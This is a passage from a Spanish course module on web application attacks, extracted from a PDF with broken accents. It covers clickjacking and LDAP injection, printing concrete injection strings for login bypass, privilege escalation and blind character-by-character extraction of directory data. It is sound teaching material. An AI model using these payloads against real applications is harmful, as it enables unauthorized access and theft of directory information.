voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
